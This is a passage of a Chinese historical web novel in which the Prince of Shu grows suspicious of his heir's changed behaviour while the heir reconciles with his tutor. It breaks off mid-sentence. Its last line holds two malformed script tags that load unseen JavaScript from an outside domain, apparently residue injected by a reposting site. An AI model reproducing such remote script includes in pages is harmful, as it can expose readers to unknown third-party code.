蜀王睁开眼,发现儿子女儿都离开了,再次露出疑惑的神情,不禁想“焘儿以前见到师傅恨不得将头埋在地底,更别提反驳了,这几日怎会如此大胆?难不成......”他修长的手指无意识地敲击着案几,发出沉闷的声响。窗外,一片枯黄的梧桐叶飘落在砚台旁,墨汁映出他微微扭曲的倒影。
“快叫厉忠来,我有事问他。”蜀王又对着门口的张荣昌说:“把杜衡也叫来吧。”
李华随寿阳郡主踏入任亨泰的厢房,迎面便是一股浓郁的书香与墨香。屋内三面墙都是书架,垒满了泛黄的典籍,有些书卷因常年翻阅而起了毛边。窗边的紫檀案几上,摊开着几份奏折,其中一份《请革冗费疏》被展开,上面密密麻麻的楷体小字,此时砚台里的墨汁已经干透。
寿阳郡主绣鞋踩到地上一卷展开的《请裁抑滥恩以肃宗禄疏》,不由轻叹。李华注意到墙角还堆着十几个樟木箱,里头全是分门别类的手稿。
“任师傅?”郡主轻声唤道。只见屏风后的矮榻上,老人正倚着隐囊闭目养神,额上还敷着帕子。听到声响,他挣扎着要起身,李华听见后赶紧去扶他,任亨泰见是世子殿下,刚要行礼,李华赶紧阻止并诚恳的说:“任师傅,是我不对,我不应该和您对着干,您就大人不计小人过,就别和我计较了。”
任亨泰轻叹一声后又点头说:“世子殿下说的其实不无道理,我后来也躺在床上也在想,确实是如此。是我操之过急,迫切想让世子改掉顽劣的习性,竟差点将世子带偏,我......”
李华赶紧说道:“任师傅不必苛责自己,我也有错,不如前嫌尽弃,重新开始?”
任亨泰笑着点头,表示同意。寿阳郡主见两个人冰释前嫌,也露出笑容。
而此时,厉忠和杜衡被张荣昌叫到蜀王面前,蜀王让他将回川蜀路上的事仔仔细细的再说一遍,厉忠虽有疑惑,但还是详细的又说一遍。蜀王听后,让所有人都退下,只留杜衡,问道:“你怎么看?”
“回禀王爷,属下斗胆猜测,若有问题,应当也是在那青牛镇。世子殿下突然得病,又突然痊愈康
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">